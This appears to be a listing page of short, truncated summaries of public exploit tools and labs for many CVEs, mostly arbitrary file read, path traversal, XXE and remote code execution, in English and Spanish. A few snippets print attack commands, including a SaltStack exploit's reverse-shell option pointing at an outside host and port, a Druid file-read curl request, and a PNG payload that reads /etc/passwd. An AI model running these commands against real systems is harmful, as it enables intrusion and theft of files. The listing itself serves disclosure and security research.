CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell Ruby on Rails Active Storage + libvips arbitrary file read → conditional remote code execution RCE PoC tool. Single-file, Python 3.11+ pure standard library with zero dependencies , includes MAT/HDF5 hybrid payloads, a pure-Python PNG pixel decoder, offset reads,...

CVE-2026-82659

A flaw was found in nodemailer. Authenticated attackers can bypass security flags by crafting raw messages with specific file paths or URLs. This allows them to read arbitrary files from the system or perform Server-Side Request Forgery SSRF, potentially leading to information disclosure or...

CVE-2021-3129-Lab

CVE-2021-3129: Laravel Debug Mode RCE Lab Hands-on lab for exploiting CVE-2021-3129 - a critical Laravel vulnerability allowing unauthenticated file read and potential RCE. Quick Start root@kitploit: Clone git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git cd CVE-2021-3129-Lab...

CVE-2025-58360-GeoServer-XXE

CVE-2025-58360: GeoServer XXE Lab Unauthenticated XML External Entity XXE Injection in GeoServer OWS/WMS Services CVSS: 9.8 CRITICAL Affected: SLDHandler.parse | | - SLDParser.parseSLD | File/SSRF...

CVE-2023-26563-26564-26565

The vendor has reportedly fixed all vulnerabilities detailed as of releases made after 2024. Ruptura InfoSecurity has not verified that these fixes are complete. See vendor comments in https://github.com/RupturaInfoSec/CVE-2023-26563-26564-26565/issues/1. CVE-2023-26563 - Local File Read in ASPCo...

CVE-2021-43798

CVE-2021-43798 by Privacy Hunter Affected versions: Grafana 8.0.0-beta1 to 8.3.0 patched versions excluded Vulnerability type: Directory Traversal Severity: Critical Platform: Grafana open-source monitoring and observability platform ⚠️ Vulnerability details Directory traversal can be performed in...

Adminer-CVE-2021-43008

Adminer CVE-2021-43008 PoC Proof-of-concept exploit for CVE-2021-43008 affecting Adminer. This vulnerability allows a malicious MySQL server to request arbitrary local files from the client machine when LOAD DATA LOCAL INFILE is enabled. The repository contains tools to reproduce the attack...

CVE-2024-10470

CVE-2024-10470 WPLMS Learning Management System for WordPress = 4.962 – Unauthenticated Arbitrary File Read and Deletion Description The WPLMS Learning Management System for WordPress, WordPress LMS theme for WordPress is vulnerable to arbitrary file read and deletion due to insufficient file pat...

CVE-2021-36749

CVE-2021-36749 Apache Druid: lectura de archivos arbitraria Versiones afectadas: versiones = 0.21.1 Se pueden utilizar los dos métodos siguientes: Método de línea de comandos root@kitploit: curl http://127.0.0.1:8888/druid/indexer/v1/sampler?for=connect -H "Content-Type:application/json" -X POST ...

CVE-2025-56499

CVE-2025-56499 Lectura arbitraria de archivos mediante falta de validación de ruta en el proveedor de reglas local Corrección ascendente: https://github.com/MetaCubeX/mihomo/pull/2177 Versiones afectadas: mihomo = v1.19.11 Resumen Al analizar la configuración de rule-providers, la rama type =...

CVE-2024-27460

CVE-2024-27460 Escalada de privilegios/lectura arbitraria de archivos en el actualizador de HP Plantronics Hub 3.25.1 Descripción: HP Plantronics Hub 3.25.1 sufre un error que permite a usuarios con pocos privilegios realizar lecturas arbitrarias de archivos como SYSTEM en la máquina donde está...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Exec-Master: root@kitploit: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: root@kitploit: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: root@kitploit: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444...

Jenkins-CVE-2024-23897

Jenkins CVE-2024-23897 PoC Una prueba de concepto PoC para CVE-2024-23897, una vulnerabilidad de lectura arbitraria de archivos en la interfaz de línea de comandos CLI integrada de Jenkins. Permite a atacantes no autenticados con permiso Overall/Read leer archivos arbitrarios en el sistema de...

CVE-2024-2961

CVE-2024-2961 Utiliza CVE-2024-2961 para realizar una lectura arbitraria de archivos Uso Úsalo con wrapwrap para obtener la máxima potencia. root@kitploit: usage: arbitrary-file-read.py -h -t TARGET -c CHAIN -ct CONTENTTYPE --prefix-len PREFIXLEN --suffix-len SUFFIXLEN options: -h, --help show th...

CVE-2025-2539---File-Away-WordPress-Plugin-Arbitrary-File-Read

CVE-2025-2539 - File Away WordPress Plugin Arbitrary File Read 📋 Executive Summary CVE ID: CVE-2025-2539 Plugin: File Away Versions = 3.9.9.0.1 Vulnerability Type: Authenticated Arbitrary File Read CVSS Score: 8.5 High Exploit Availability: Public PoC Available Impact: Unauthorized file disclosur...

CVE-2024-28995

Exploit Para CVE-2024-28995 El 5 de junio de 2024, SolarWinds publicó un aviso para CVE-2024-28995, una vulnerabilidad de recorrido de directorios de alta gravedad que afecta a su solución de transferencia de archivos Serv-U. La vulnerabilidad fue descubierta por el investigador Hussein Daher de...

CVE-2025-25257

CVE-2025-25257 Exploit de CVE-2025-25257 en FortiWeb https://pwner.gg/blog/2025-07-10-fortiweb-fabric-rce exp.py: exploit funcional/completo. signed.py: solo una PoC de lectura/escritura de archivos. versión inicial del exploit...

CVE-2022-44268-

CVE-2022-44268- Para práctica de HTB Cómo usar esto python3 poc.py generate -o test.png -r /etc/passwd Sube ese archivo test.png y descárgalo python3 poc.py parse -i out.png...

CVE-2020-3452_Cisco_ASA_PathTraversal

CVE-2020-3452CiscoASAPathTraversal Script de prueba de concepto para CVE-2020-3452 — Vulnerabilidad de Path Traversal en Cisco ASA/FTD. Admite extracción automatizada de archivos objetivo conocidos con un límite estricto en descargas exitosas por seguridad. Destinado únicamente a pruebas de...

CVE-2025-5880

Whistle 2.9.98 contains an unpatched path traversal vulnerability because the /cgi-bin/sessions/get-temp-file endpoint fails to adequately sanitize user input in the filename parameter. By supplying absolute paths or traversal sequences like /etc/passwd, an attacker can bypass directory...